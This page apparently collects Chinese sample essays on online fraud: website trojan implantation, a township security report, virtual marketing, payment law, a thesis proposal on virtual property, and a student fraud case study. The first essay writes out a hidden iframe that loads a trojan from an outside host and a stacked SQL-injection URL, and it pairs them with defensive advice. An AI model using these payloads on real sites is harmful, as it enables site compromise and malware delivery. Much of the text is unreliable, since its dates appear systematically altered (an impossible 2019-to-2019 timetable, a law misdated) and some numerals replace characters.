对网络诈骗的意见和建议
开篇：润墨网以专业的文秘视角，为您筛选了八篇对网络诈骗的意见和建议范文，如需获取更多写作素材，在线客服老师一对一协助。欢迎您的阅读与分享！
对网络诈骗的意见和建议范文第1篇
关键词：服务器；木马；信息安全
中图分类号：TP393.08 文献标识码：A 文章编号：1674-7712 (2012) 10-0248-01
木马具有隐藏性的、自发性的可被用来进行恶意行为的程序，多不会直接对电脑产生危害，而是以控制为主。木马具有极强的危害性，它常常以侵害网络用户信息为主要目的，犯罪份子再获取某些核心信息后，极有可能实施具体的犯罪行为，例如：信息诈骗、网络信息盗窃或贩卖、网络金融盗取、信用卡诈骗等。木马要能有效得工作，首先必须通过某些方式进入需攻击的计算机系统中，由于网络具有普遍性而且大多数网站管理者计算机网络安全缺失，所以将木马通过一定的方式嵌入某些网站是犯罪份子的最佳选择。
一、通过webshell非法嵌入网站
Webshell在很多小型网站中广泛应用，它具有管理方便，维护简洁的特点。但使用webshell管理网站它必须获得网站的较高权限以便可以完成在线编辑网页脚本、上传下载文件、操作数据库、执行任意程序命令等功能。由于webshell权限较高，而且它通信使用的80端口一般不会被防火墙所拦截，所以常常被入侵者所利用。
webshell的嵌入方法：最简单最直接的嵌入木马的方式是采用框架式，它具有位置不固定，语句简单操作方便的特点例如：iframe src=http：//baidu/aa.htm width=0 height=0/iframe，其中baidu/aa.htm则是木马的具置，它可用通过网站的框架检查便可查出隐藏性较差。使用js文件嵌入，某系网站常常会调用js文件例如：，入侵者会通过网站的js文件的调用他们自己的js木马文件像：，要将其写入webshell大多案例中依旧是iframe框架，但中不得写入html，则采用document.write("
二、数据库嵌入方法
数据库在现代网站中应用非常广泛，攻击者一般根据网站的数据库调用界面用于分析例：新闻，论坛，公告，等等，一般是标题如它的调用链接为news.asp?id=1，大体能判断此是从数据库中调用的，假设存在vote.asp?id=123并且Db_owner权限而且检测mssql数据库和web服务器不在同一个机器上，常用的嵌入方式更改数据库内容，如果将数据库调用界面改成”，那这样的话，首页就会执行这段代码了，则找到嵌入点，就得找表名，如此新闻的表名为news，字段为title，id，等等，根据猜测，id=1时，暴出的字段title的值就为“新闻”，可尝试提交vote.asp?id=123；update news set title=''新闻''where id=1；--，更改数据库成功，木马则嵌入成果。当然数据嵌入式的方法很多这知不是是个很简单的例子以做说明。
解决方法：
（1）防get方式要加对Request.QueryString长度的判断。例如：If Len(Request.QueryString)>60 then Response.End()。
（2）防Post方式要加对来源地址的判断，防止外部提交，如果攻击是get方式，可防止再次变种攻击。
（3）清空客户端Cookies代码，发现凡是访问过被注入网站的客户端的Cookies信息被篡改，javascript代码被加入其中，用Cookies的网站被嵌入非法代码可能性极高，最好也加上Cookies防注入。
（4）对上传文件做出限制。这点一般是不可能的，大多数网站的基本功能，建议采用文件session验证并对上传后的文件内容进行验证。
在现社会中，网络已是一个完整的产业链条，它包含合法的和灰色的产业链。在黑客知识大面积的普及之下，网站的安全问题变得尤为紧迫。当然维护网络环境保护网络人的权益，这个方面可能需要国家层面上来解决，单作为攻击主要要受害方中小网站站主，建议最好能做到以下几点：
（1）建议一套完善的病毒木马防护体系，至少要有一套软件防护手段。
（2）控制网站服务的权限，动态更新其密码，减少后台程序。
（3）对服务器功能控制单一，最好服务器不用于访问其它计算机系统。
（4）减少安装asp或jsp上传组件，如有需要限制其上传的内容并审查后方可加载。
（5）在大多数网站中均有附件上传，在该目录中不得执行asp或jsp等程序，以免执行外部链接木马程序。
（6）后台登陆需强化管理最好使用限定固定几个ip进行访问。
（7）对文件目录中文件需经常检查，如发现异常及时解决。
对网络诈骗的意见和建议范文第2篇
一、开展“平安”建设工作，确保社会和谐稳定。
制定印发了《镇2020年度社会治安综合治理工作考评办法》，对今年的综治工作目标任务进行了明确，细化了奖惩措施，表扬先进，鞭策后进。制定了镇战疫情、保稳定工作预案和镇2020年全国“两会”期间维稳工作方案，强化网格管理，加强了综治视联网和“雪亮工程”建设，确保镇社会和谐稳定，人民安居乐业。树立了吕山村徐书生见义勇为这一先进典型，通过拍摄微视频等新传媒手段加强宣传，以榜样的力量感染人，教育人。
二、开展反网络诈骗和反传销工作
扎实开展反网络诈骗和反传销工作。一是加强组织领导。分别成立了镇打击信息网络犯罪工作领导小组和镇打击传销工作领导小组，制定了专门的工作方案，细化了工作目标和措施，指导全镇工作的开展。二是提升群众防范意识。利用国家安全日开展集中宣传教育活动，各村居也通过多种形式，走村入户进行广泛宣传，提升人民群众的防范意识。三是推动工作向纵深发展。通过创建“无网络诈骗无传销镇”、“无网络诈骗无传销社区（村）”主题活动，提高全镇的反网络诈骗和反传销整体工作水平，明确目标任务，强化工作责任，推动工作向纵深发展。四是坚持打防结合。通过开展全镇排查工作，掌握辖区内准确信息，公安派出所、市监所等多部门联合上门为受害者固定证据，确定打击措施。对辖区内酒店和宾馆进行集中检查和宣传，要求他们拒绝为传销、诈骗组织提供服务，及时发现和举报不法行为。
三、以强化宣传推进扫黑除恶治乱工作
为深入贯彻中央及省、市、县关于扫黑除恶专项斗争决策部署，全面推进扫黑除恶宣传发动工作，结合县扫黑除恶宣传发动工作方案要点，镇制定《2020年镇扫黑除恶专项斗争宣传发动工作方案》。4月16日、5月19日、6月10日，共三次，镇扫黑办联合、派出所、司法所、市监所和街道社区联合在集镇开展扫黑除恶专项斗争集中宣传教育活动，活动采取了展板展示、发放宣传资料、现场解答等形式，贴近群众，收到良好的社会效果。为全面了解广大居民群众对社会治安状况和扫黑除恶专项斗争的意见和建议，进一步夯实社会综合治理工作的群众基础。
6月1日-2日，镇扫黑办、镇综治中心对全镇17个村居及部分成员单位，开展群众安全感、政法满意度、扫黑除恶成效满意度问卷调查活动。检查各单位扫黑除恶标语、固定标牌、宣传栏情况，提高群众扫黑除恶的知晓率和参与率。
扎实开展依法整治非法经营成品油专项行动。成立了工作领导小组，召开专题会议研究部署全镇依法整治非法经营成品油专项行动工作，抽调精干力量组建摸排小组，对全镇进行无缝摸排。6月30日，镇领导小组召开镇取缔非法加油站点责任人约谈会，对先期摸排出来的9个涉嫌非法储油或加油的单位和个人进行逐一约谈，宣传政策，沟通思想，责令其按期按要求停止非法储油或加油行为。
认真开展“扫黄打非”专项行动。成立了镇“扫黄打非”工作领导小组，印发《2020年镇“扫黄打非”行动方案》（三发[2020]52号），召开镇“扫黄打非”工作领导小组会议，建立了以镇综治中心牵头，公安、文化、市监参加的摸排小组，从6月30日开始，加强对全镇网吧、寺庙、学校周边、书店的检查和摸排，形成问题清单，建立工作台账。
四、结合“净边2020”专项行动狠抓春季铲毒工作
加强对禁毒和春季铲毒工作的宣传力度，结合“净边2020”专项行动，发动村组网格员进行排查走访，进一步加大禁种宣传、春季铲毒工作力度，确保原植物“零种植”。公安部门加大打击力度，在开展毒情整治过程中对不配合的涉毒人员，坚决依法进行查处。在全镇迅速掀起春季铲毒工作新，铲除邪恶之花，净化一方净土。截止日前，在各级巡查中已发现种植罂粟4处，共计463株，公安派出所已对当事人进行批评教育并依法严肃处理。
五、认真开展开展工作，多渠道化解矛盾。
为确保全国“两会”期间社会稳定，镇党委研究和部署镇全国“两会”期间维稳工作，明确目标，细化方案措施，确保“两会”期间镇社会和谐稳定和进京赴省“零上访”目标。
安排镇党政领导值班接访，倾听社会各界和广大群众的意见，按照工作“三到位一处理”的要求，每天及时接待和处理上访群众的矛盾和诉求，化解矛盾；认真开展了党政班子领导带案下访工作，重点事项党政领导包保化解工作。积极采取公安机关接处警、人民调解“两代表一委员”和“五老”人员参与调解等多种方式方法，多元化调处和化解现有的矛盾纠纷；切实加强网上办件的效率和质量，对所办理的事项，建立了健全台账，落实一案一档。
六、积极落实防范化解重大风险工作。
一是加强国家安全组织领导。通过加强领导，明确工作职责，强化责任担当，确保镇村组织机构健全，确保各责任部门形成工作合力，确保各项工作落到实处，使镇国家安全整体工作面貌和工作水平得到大幅提升。
二是切实提升全民国家安全意识。通过大型户外宣传牌、展板、宣传栏、宣传车、会议、微信等多种形式，深入乡村，贴近群众开展宣传活动，形成浓厚舆论氛围。
三是强化情报收集工作。强化对全镇不安全、不稳定隐患排查力度和信息快速有效报送，防患于未然，做到早发现、早介入、早处置。
四是着力构建全面的防范体系。在今年的疫情防控工作中，为坚决打赢肺炎病毒疫情人民战争、总体战、阻击战，广大党员干部、基层网格员、人民群众投身防疫工作第一线，积极开展堵卡守卡、巡逻劝导、宣传教育、矛盾纠纷调解等工作，构筑起了基层群防群治的严密防线和防范体系。
二、下步工作要点
1、开展“平安”建设工作，全面完成综治全年工作目标。
2、扎实开展扫黑除恶专项斗争工作。
对网络诈骗的意见和建议范文第3篇
关键词：虚拟营销 网络经济 竞争优势
在网络时代, 随着我国市场经济的迅猛发展，网络技术的日趋完善,新的市场营销形态―虚拟营销已经悄然出现，本文就这个问题,作些探讨。
一、虚拟营销模式分析
虚拟营销区别于传统营销的根本点是虚拟网络本身的特性和虚拟网络顾客需求的个性化,虚拟营销必须从网络特征和消费者需求变化这一基础出发,运用网络整合营销、“软营销”及网络直复营销等新营销理论,进行营销策略创新。
网络整合营销：是指由于网络营销信息的双向互动特性,使顾客真正参与到企业的整个营销过程成为可能,顾客参与的主动性、选择性加强,顾客在整个营销的过程看似虚拟，其实地位比传统营销更进一步得到提高。
“软营销”：是指在网络营销环境下,企业向顾客传送的信息及采用的促销手段更具理性化,更易于被顾客接受,进而实现信息共享与营销整合。网络发展的基础是信息共享、降低信息交流的成本以及网络访问者的主动参与,这就决定了在网上提供信息,必须遵循网络礼仪。网络礼仪是一切网上行为的准则,以体现网络社区作为一个具有社会、文化、经济三重性质的团体,是按照一定的行为规划组织起来的,网络营销也不例外。可见, “软营销”观念的特征主要体现在遵守网络礼仪的同时,通过对网络礼仪的巧妙运用留住顾客,并建立起对企业及产品的忠诚意识,从而获得最佳的营销效果。
网络直复营销：是指生产厂家通过直接分销渠道,直接销售产品。目前常见的做法有两种:一种是企业在因特网上建立自己独立的站点,申请域名,制作主页和销售网页,由网络管理员专门处理有关产品的销售事务;另一种是企业委托信息服务商在网站上相关信息,企业利用有关信息与客户联系,直接销售产品,虽然在这一过程中有信息服务商参加,但主要的销售活动仍然是在买卖各方之间完成的。 网络直销的优点是多方面的。网络直销促成产需直接见面,企业可以直接从市场上搜集到真实的第一手资料,合理地安排生产。网络直销对买卖双方都有直接的经济效益。营销人员可以利用网络工具,随时根据用户的愿望和需要,开展各种形式的促销活动,迅速扩大产品的市场占有率。企业能够通过网络及时了解到用户对产品的意见和建议,并针对这些意见和建议提供技术服务,解决疑难问题,提高产品质量,改善经营管理。
二、案例浅析
曾看过一个有趣的资料, 说的是美国有一位姑娘本来是每天在街头卖花, 但是在与朋友聊天时知道国际互联网的知识后, 忽发灵感: “我为什么不在国际互联网上建一个花店呢? 把各种花卉的照片、说明及价格放在网上, 再通知离顾客最近的花店在规定的时间内将花送到客户家中。”这位姑娘据此构想, 花了5000美元, 买回电脑, 请人编制了软件, 联上了网, 在不到40平方米的家中开起了世界上第一家虚拟花店。据说不到1年的时间, 卖花姑娘的联网花店遍及全美, 年营业额超过了千万美元。因此，可以把虚拟营销定义为利用信息技术, 将地域上分散的各种资源有效地组织起来, 形成一个功能齐全、统一指挥的虚拟营销网络实体。它以信息技术手段获取内部与外部的资源, 摆脱了对内部资源的过分依赖, 以低成本迅速整合更大范畴的资源, 集中核心业务资源培育核心竞争优势; 而且虚拟营销还适应多品种、少批量、多变性和不确定性的市场需求, 具有很强的市场应变能力。
从案例可看出, 网络经济与虚拟营销的有机整合, 形成企业发展的核心竞争力。我国企业面临着知识化、虚拟化、网络化和全球化的变革，企业的竞争力日益与信息化程度相关,以英特网为基础, 整合企业所有链接的环节，挖掘企业每一个经济元素的潜在价值, 开发新的客户资源, 是企业生存、发展和实现飞跃的必然趋势。
三、虚拟营销的竞争优势分析
营销成本低：虚拟营销可以将所有商品信息在网上,可以随时接受需求者的查询,减少广告促销费用。同时,可以很好地实现“零库存”,什么时候卖出货,什么时候才进货。没有店面租金成本和商品库存就可满足市场需求,节省了潜在开支。
创造市场机会：虚拟营销为企业提供了虚拟的全球化贸易环境,大大提高了商务活动的水平和质量,赋予了企业一种全新的经营方式。企业可以轻易地把产品和服务推向市场,实现跨区域、跨国界经营。并且互联网上没有时间和空间限制，它的触角可以延伸到世界每一个地方。利用互联网从事市场营销活动可以远及过去靠人工进行销售或者传统销售所不能的达到的市场，虚拟营销可以为企业创造更多新的市场机会。
便于收集和管理客户信息：收到客户订单后,服务器可自动汇集客户信息到数据库中,可对收到的订单和意见进行分析，引导新商品的生产、销售和消费,即提供交互式的销售渠道,商家也能及时得到市场反馈,从而减少了流通环节,增加了客户和供货方的联系,使双方均可获得最新数据信息,加强彼此间合作,实现了双赢。
方便顾客：利用互联网企业可以将企业中的产品介绍、技术支持和订货情况等信息放到网上，顾客可以随时随地根据自己需求有选择性的了解有关信息、订货、支付等交易环节，克服了为顾客提供服务时的时间和空间限制。
虚拟营销的灵活性与运作方式的高弹性：虚拟营销是一种高弹性的企业营销运作模式, 能把握市场莫测的变化,根据策略目标调整虚拟组织, 或组合新的虚拟企业, 创造新的竞争优势, 具有较强的灵活性与动态性。
可见，虚拟营销是一种以消费者为导向，强调个性化的营销方式；虚拟营销使企业和消费者的据有极强的互动性，提高了消费者的满意度；虚拟营销能满足消费者对购物方便性的需求，省去了去商场购物的距离和时间的消耗，提高消费者的购物效率；虚拟营销能为企业节约促销和流通费用，使产品成本和价格的降低成为可能，实现让利给顾客。
四、虚拟营销面临的困难
物流配送困难大：虚拟营销在信息流上享有绝对的优势,但在物流配送上却面临极大的困难,一是配送成本高,二是配送渠道有待继续完善。虚拟营销必须认识到虽然他们有效地取代了传统企业的某些价值活动,但物流的整体协调运作非常重要。
企业文化建设难:现代企业越来越清醒地意识到,企业最主要的竞争力已不再是设备及产品,而是信息人力资源管理、创新能力、企业文化等。而企业文化的形成要靠员工共同努力才会发挥作用。而虚拟营销存在短期性及员工的分散性和成员的复杂性,使其企业文化形成极为困难,即使形成一致的企业文化,其作用也打大折扣。
消除用户的抵触难:虚拟营销的兴起在改变传统交易关系的同时,也使网络诈骗变的轻松容易。例如,美国诈骗了19万美元的黑人青年马修•博文就是通过网上传播虚假信息,鼓吹公司前景光明,才使150 多人上当受骗；网上诈骗及网上消费隐私的隐忧,使得许多潜在的消费者对虚拟营销产生了抵触。
网络购物支付难:虚拟营销从事商务活动,涉及到支付问题,而我国目前网上货款支付问题还令人担忧,形成网上购物容易但支付难的局面。例如有的虚拟营销采取网上购物,消费者到邮局汇款的支付方式,增加了购物者的付出,而导致让客价值下降,从而降低了产品的市场竞争力。
五、应对措施
针对虚拟营销的优势及面临的难题,笔者认为, 促进我国虚拟营销的健康发展,应从以下几点入手。
府应采取有力措施,为企业营造良好的外部发展环境：例如，加大相关法律法规的建设力度,用法律手段保护网络用户的隐私权； 加强银行电子化发展，推行电子货币畅通化。
企业加强内部管理：首先，打造品牌文化。现代企业竞争,是品牌与文化的较量,没有高素质的人才团队就不会形成品牌文化，因此以最优秀的人才队伍,最先进的网络技术,掌握最新信息,凝造企业文化，打造品牌，是企业发展之本；其次，树立双赢观念。网络技术的应用,使传统的大规模营销向越来越个性化的营销发展,市场空间大大增加了,经营的潜在复杂性也随之出现了。企业如果还单枪匹马地走“大而全”、“小而全”的路子,势必会因为结构臃肿而难以快速发展。
加强与渠道企业的合作：渠道企业大都有较好的物流体系,显示出了强大的物流配送优势。例如,春兰空调连锁店遍及全国400 多个城市,并在120 个中心城市设有连锁总店和区域服务公司及仓储配送中心。虚拟营销在解决物流配送问题上,大多数采用了业务外包的形式,有效地利用了渠道企业的配送优势。但是,虚拟营销还应进一步加强与渠道企业的合作,利用自身优势,对外部资源进行有效整合,提高竞争力。
总之，虚拟营销是人类经济、科技、文化发展的必然产物，它不受时间和空间的限制，在很大程度上改变了传统市场营销形态。虚拟营销对企业来讲，提高了工作效率，降低了成本，扩大了市场，给企业带来社会效益和经济效益。相对于传统营销，虚拟营销具有国际化、信息化和无纸化，成为世界各国营销发展的大趋势。
作者单位：日照职业技术学院
参考文献：
对网络诈骗的意见和建议范文第4篇
[关键词] 互联网支付法律立法建议
所谓互联网支付是指以电子计算机、互联网及其他相连接的网络为手段，将负载有特定信息的电子数据取代传统支付工具用于资金流程，并具有实时支付效力的一种支付方式。
互联网支付方式的出现，对整个电子商务来说具有革命性的意义。互联网支付中，交易各方最关心的问题就是交易的安全性如何得到有力的保障，交易的安全与否将直接关系到交易各方的利益。必须承认，我国这方面的立法仍较落后，还有太多的空白等待填补。笔者从当前的网上支付发展现状及对安全保障的需要出发，提出以下几点立法建议。
一、规范主体资格
网上支付作为一项依托网络开展的金融服务，应当同其他任何金融服务一样受到严格的准入机制的调整，其中很重要的一个方面即体现在对提供金融服务的主体资格应有一定的标准和要求，并用法律规范的形式将它固定下来。然而，对于网上支付涉及的另外两个重要主体――认证机构和支付网关提供者，相关的主体资格研究还限于学术层面言。
以认证机构为例，学界普遍认为其必须具有的品质应包括:真正的独立性或中立性;具有高度的公信力;是能够独立承担法律责任的法律实体;具有现时先进的信息鉴证手段或能力;不得以营利为目的。
对此观点，笔者持赞同意见。认证机构作为一种权威的第三方验证机构，应以独立于认证用户(商家、消费者、支付网关)和参与者(检查和使用证书的相关方)的第三方地位对交易主体的数字证书、电子签名进行验证，判别实施支付行为的个人或机构的身份真实性，从而保证其认证结果的权威性与公正性;认证机构要为人们所认同和接受，就必须在社会上具有相当的影响力和可信度;认证机构作为独立的主体参与到网上支付中，它应当负有合理谨慎地根据已有信息对证书用户进行身份或信息鉴定的义务，一旦发生因其未尽合理谨慎义务产生错证的情况，就必须具备在法律规定的范围内承担责任的能力；至于先进的信息鉴证手段和能力，则更是认证机构不可或缺的要素，它是保障认证机构减少错证，提高交易安全系数的重要前提;不得以营利为目的之要求也非常符合认证机构的机构性质，因为作为交易主体之外的对交易主体身份及交易信息进行真实性鉴定的第三方机构，认证机构所肩负的职业责任要求其具有中立性和社会可信度。
学界对认证机构主体资格的研究结论符合认证机构自身的机构特点与性质，满足这些主体资格要求将对由认证机构负责验证的网上支付交易的安全起到保障作用，立法工作者应充分借鉴，以法律规范的形式将之明确。
二、完善信用制度立法
法律为保障网上支付所能做的，也和传统的交易安全问题有关，就是推动社会信用制度的建立。发达的商业社会对社会包括个人的信用有着很高的要求，通过一系列公开透明的制度来维护和保障信用制度体系。美国是目前世界上信用体制最为成熟和完善的国家。与之相比，我国目前在对信用概念内涵的理解方面、信用信息公开的方式和程度方面、信用服务企业的市场发育程度方面，以及对失信者的惩戒制度方面都还十分落后，甚至存在空白。应当承认，我国还属于非征信国家，信用制度还很不健全。
然而，在电子商务和网上支付的范畴内，对交易主体的信用会有更严格的要求。这是因为网络带来的交易虚拟化，使得交易主体间无法通过传统的手段来核实对方身份及所提供信息的真实性。网上支付需要合法、透明的信息公开机制，使网上交易主体得以获得更多的渠道了解交易对方的信用状况，有的放矢地选择交易对象并进行网上支付，从而有利于提高网上支付的成功率和安全性，并为网上支付提供一种无形的制约机制，使得那些期望利用网络来实施金融犯罪的人无可乘之机。网上支付需要健全的对失信者的惩戒机制，通过对失信者实施某种形式的惩罚，既保护了信用人的利益，又为其他人提供了正确行为的指引，这有助于杜绝同类情况的再次发生，从而营造安全、稳定的网上交易环境。显然，我国目前在信用制度方面的落后现状无法适应网上支付的发展需要，不利于网上支付的安全，故亟需得到完善。
三、建立信息保护法律制度
在网上支付中的很多个人信息，包括银行卡卡号、密码、支付金额等，都是机密程度很高的信息，必须采取有效合理的手段加以保护，如数据加密、电子签名以及电子认证等。这些信息安全的技术保护手段在许多发达国家已获得法律地位的确认，其法律效力得到了认可，具体内容受到法律的调整。例如联合国贸法委的《电子商务示范法》及《电子签名统一规则(草案)》、美国的《犹他州数字签名法》及《犹他州认证政策》，以及其他国家的相关立法中均有体现。然而，我国在此方面还是空白。为此，建议国内立法界参考国外先进的立法理念和立法技术，因地制宜地制定调整电子签名、认证中心的法律，制定数据信息保护的法律，从而为保护网上支付中的交易信息和为交易安全提供法律上的支持。
四、对网上支付中出现的新型计算机犯罪立法
对网络诈骗的意见和建议范文第5篇
研究类型
基础研究;(V)应用理论研究;应用研究
开题报告内容
1、 选题(1、选题的目的、意义;2、国内外研究现状、发展趋势及研究基础，并列出
主要参考资料)
1。选题的目的和意义：
21世纪是网络经济的时代，伴随着中国网络用户的急剧增长，网络游戏玩家人数与日俱增，网络游戏交流所衍生的虚拟交易日渐频繁，其交易主体“虚拟财产”也随之产生。虚拟财产，即在网络空间存在的数字化﹑非物化的财产形式，包括网络游戏账号﹑游戏货币﹑游戏账号拥有的各种装备以及网民的电子邮件，网络寻呼等1系列信息类产品。由于其特殊的财产性质，使得虚拟物品交易中出现的众多问题，诸如虚拟物品纠纷中运营商责任的界定、虚拟物品的物权归属、玩家权益维护等问题，都因虚拟财产法律性质的不明确而难以解决，玩家利益受到侵害后往往得不到应有的法律救济。
对虚拟财产的社会关系加以明确，对虚拟财产交易进行法律规制。无论是对保护玩家的权益，还是对促进网络游戏业健康发展，进而促进国民经济的发展，都有着重要的意义。
本文旨在对虚拟财产进行法律界定的基础上，对虚拟财产的法律保护进行初步探讨。
2。国内外的研究状况
在我国，网络上的虚拟财产并没有得到有效的保护，尽管我国《宪法》和《民法通则》中对公民的合法收入、储蓄、房屋和其他合法财产予以认可，明确规定了公民合法的私有财产不受侵犯，2019年出台的《关于维护互联网安全的决定》也规定了“利用互联网犯罪，追究刑事责任;侵犯他人合法权益，依法承担民事责任。”但是时至今日并没有哪部法律条文对虚拟财产作出明确规定。导致以电磁记录方式存储的数据的丢失导致的纠纷无法界定责任人，虚拟财产的被盗，若欲以刑法来救济，要面临虚拟财产的合法性等1系列问题产生。
而韩国以及我国台湾、香港地区立法和司法均已明确承认虚拟财产的价值并加以刑法保护，对于侵犯虚拟财产的犯罪案件，已出现诸多涉及徒刑的刑事判例，立法上也新增诸多罪名。韩国规定，网络游戏中的虚拟角色和虚拟物品独立于服务商而具有财产价值，网络财物的性质与银行账号中的钱财并无本质的区别。我国台湾有关部门也作出规定，确定网络游戏中的虚拟财物和账户都属存在于服务器的“电磁记录”，在诈骗罪及盗窃罪中均可看作“动产”，被视为私人财产的1部分。
3.发展趋势：
在立法和司法上承认网络虚拟财产已经成为1种趋势，主要体现在：最高人民法院出具司法解释，将虚拟财产纳入刑法保护的范畴，对侵犯虚拟财产的行为引用传统侵犯财产犯罪的条款加以惩治，维护虚拟财产的拥有人应有权益的保护，是适应时展进步势不可挡的趋势。对于虚拟财产纠纷发生后，为使玩家虚拟财产损失控制在最小的范围内，建立1套行之有效的网络虚拟财产纠纷解决机制，也是必须的。
4。研究基础：
网络虚拟财产的侵权事实和相关法律的调整。
5.主要参考书目：
[1]赵占领。虚拟财产的法律保护。新浪科技评论， 2019-3-26。
[2]于志刚。关于网络游戏中虚拟财产法律性质的思考。法学文苑， 2019-08-29。
[3]张数。用法律保护虚拟财产的交易。前沿，2019(2)。
[4]司晓。虚拟财产的性质及其民法保护。中国私法网， 2019-5-25。
[5]刘双玉、牛东华。网络游戏中虚拟财产赔偿案件引发的法律思考。北京市朝阳区人民法院
[6]商建刚。网络法。上海学林出版社，2019。8
[7]陈华彬。 物权法原理[J]。 法学，1995(04)
2、 研究的主要内容(1、研究的主要内容;2、研究的重点和难点;3、独创和新颖之处;
4、预期达到的成果)
(1)：网络虚拟财产的涵义及特点，这个部分主要从概念上对虚拟财产的范围进行界定，并对其法律特征，法律属性简要阐述。
(2)：网络虚拟财产存在的法理依据，对其保护有无必要性进行初步探讨。
(3)：对我国网络虚拟财产法律保护现状及其存在的1般问题，诸如：网络虚拟财产的价值衡量，该财产所有权利的归属，以及发生纠纷后的救济途径少，纠纷取证难等现象进行分析。
(4)：关于网络虚拟财产法律规制的提出初步构想，包括虚拟财产权利义务关系的法律规制和虚拟财产交易的法律规制。并结合他国的成功的经验对我国网络虚拟财产保护的发展作切实可性的展望，提出自身的意见和建议，呼吁法律学界和立法部门对这个现实的问题展开足够的重视，以期虚拟财产所有权人的权益得到成功的保障。
2。研究的重点和难点：
(1).研究重点
网络虚拟财产的价值性和可交易性，表明其不仅仅是存在于网络游戏虚拟社会的1种游戏物品，而是在现实社会中被人们观念所认可的，具有财产地位的商品，虚拟财产是否属于具有法律意义上的财产，在财产法中，该如何定性，是研究虚拟财产诸多法律问题的重点所在。
(2).研究难点
网络经济下的虚拟财产保护还属于1个相对新鲜的事物。网络虚拟财产的交易平台构建在1个虚拟世界，相对于现实中的实体财产保护存在1定的难度的。如何建立1套相对行之有效的网络虚拟财产的保护机制，是本文研究的难点。
3.独到创新之处
本文主要是针对网络虚拟财产相关犯罪事实进行分析和探究，提出关于虚拟财产保护的建设性意见。国家的相关法律对这方面的规定缺乏，而玩家财产权益的保护也是目前广大网民所关注的问题。
4。 预期成果
能够对网络虚拟财产的定性进行分析，并从虚拟财产相关犯罪事实中找出原因并提出针对性的措施。以期引起立法部门对这个问题作深入的研究，并作出相应对措施。
3、 研究的方式、方法
研究的方法主要就是对现今网络虚拟财产交易中存在的各种侵权问题作系统的分析和归类，并根据收集到的资料展开针对性的论述。本文主要是采用广泛的收集资料来对具体的问题进行分析研究，并得出相应的结论。
4、 研究的总体安排和进度
安排如下：
2019年11月至2019年2月进行相关资料的收集工作
2019年2月至3月对相关资料进行必要的整理
2019年3月开始论文写作
2019年4月初稿
2019年5月定稿
5、提交指导教师时间：
学生签名：
指导教师签名：
6、指导教师意见：
指导教师签名：
年 月 日
7、系学术委员会意见：
对网络诈骗的意见和建议范文第6篇
[关键词]网络诈骗；大学新生；辅导员工作案例
[中图分类号]G640
[文献标识码]A
[文章编号]1671- 5918（ 2015） 08- 0026- 02
doi：10. 3969/j.issn.1671-5918. 2015. 08-013
[本刊网址]http：//
一、案例情况介绍
2013级新生入学之后，为使新生能尽快转变角色适应大学生活，学院制定了一系列的计划和方案。在生活类讲座方面，尤为注重人身和财产安全的说明，并通过助班大力宣传这方面的注意事项。当一切已经做得够细致的时候，一个电话打破了笔者之前所努力构建的“马其诺防线”。12月初，13级新生阿华清晨打来电话称，怀疑自己在前一天晚上被诈骗了，并且数额比较大。在简单的谈话过后发现事情比较严重，笔者当即来到他的宿舍并查看QQ聊天记录，认识到这是一件十分典型的网络诈骗案。
（一）缘起网络游戏，失于网络游戏。来到大学之后，阿华同学便放松了起来，认为大学像其他人描述的一般“无限自由”，随时可以干自己喜欢的事情，他很快迷上了一款当下十分流行的某网络游戏。由于该款游戏是网络付费游戏，他在一次支付数百元时，网页弹框提示支付密码错误，资金被冻结，需向另一账号充款一千多元变为高级会员以解冻。在“官方客服”对话框的诱导下，为了“赎出”之前的资金，阿华先后共向该客服提供的不同账号汇入达上万元之多。还在苦苦等待“客服人员”承诺第二天中午会把资金返回来的阿华，早上起床才隐约意识到自己有可能被骗了，这才把电话打给了笔者。
（二）轻信诈骗分子，幻想骗子承诺。之后，笔者来到阿华宿舍通过查看QQ聊天记录、与他的室友了解情况后很容易断定是一起网络诈骗事件。这个时候，骗子又发来一条消息催促阿华再另行支付一万元，理由是银行发现其资金流向过于频繁，需支付更高金额资金以便解冻原来的资金。讨回资金心切的阿华又开始对骗子有了信心，想要汇款过去。经过几番询问，骗子开始不耐烦，说掌握阿华的身份信息，抛出了不汇款就报警等非常荒谬的说法。阿华在威逼利诱下思想开始剧烈动摇，准备汇款给对方。情急之下，同学只好报警，向民警说明了情况，在警察的劝说之下，阿华才打消继续汇款的念头。
（三）家境殷实，手头宽裕。阿华家住城市，经济条件优越，是家中甚至是大家族中的独子，集万千宠爱于一身。自己的学费和生活费除了父母、姐姐的支持之外，家族中的长辈也是对其出手大方，因此阿华的手中就会有大量资金供自己支配。进入了大学，离开了父母来到了另外一座城市，将父母多年来严格的管教全都抛之脑后，开始肆无忌惮地干自己“喜欢的事情”，接触网络游戏。
（四）沿袭高中时代固有的生活模式，与同学相处不融洽。据同学反映，他在班级的表现一般，学习上不是十分上心，生活上对人缺乏基本的礼貌、自理能力一般，对集体的事情几乎不关心，没有参加任何学生干部的竞选，也没有参加社团协会的想法。除了以上的情况之外，有时在班级集体活动讨论中发表跟大家意见相左的言论。室友反映，自制能力较差常常表现出凡事漫不经心的样子，平时回到宿舍的最大爱好就是玩网络游戏，几乎不去自习。
二、案例分析
阿华被诈骗大量金钱这一案例，表面上是一件典型的网络诈骗事件，其实是有其自身，家庭和网络环境等多重因素共同交织在一起所发生的。分析发生该事件的因素如下：
（一）生活条件十分优越，家庭环境对他的影响很深。集全家族宠爱于一身，没有经受过苦难和挫折，适应环境能力差，自制力、独立性都比较差。对社会缺乏基本的认识，分辨真伪的能力较差。
（二）高中时期一直处于被看管学习的状态，对应试教育的学习模式既厌倦又适应，很难转变角色，适应大学主动式学习模式。
（三）母亲溺爱的同时又管理严格，大包大揽、硬性规定他的发展道路，生活的方方面面都在她的监控之下。阿华一旦离开了母亲来到大学，突然发现自己变得自由了，不再有人时时刻刻看管着自己了，将之前的压力全都倾泻出去，喜欢干什么就干什么也许是他最想干的事情。如此，接触网游便“顺理成章”了。
（四）与老师同学的交流比较少，对他们信任度不够，而将目光转向网络，在网络游戏中找到成就感。
三、案例解决的思路及过程
（一）在宿舍蹲守，及时报警。在事件的最初处理阶段，笔者始终坚持着不能再让他的财产有其他损失的原则，并尽力促使他从这次阴影中走出来的行动准则。在笔者和助班师兄、宿舍同学劝说后他仍半信半疑的情况下，先是带他来到学校保卫处请相关老师帮助他，而后直接来到公安机关报警并请警察帮忙。整个过程中，笔者尽可能地同阿华待在一起，防止他在精神高度紧张的时候失控。
（二）深入宿舍与班级，了解情况。及时找到其所在班级助班师兄师姐，寝室室友，班级主要学生干部，班主任、主要任课教师了解情况，据大家反应阿华主要表现如下：
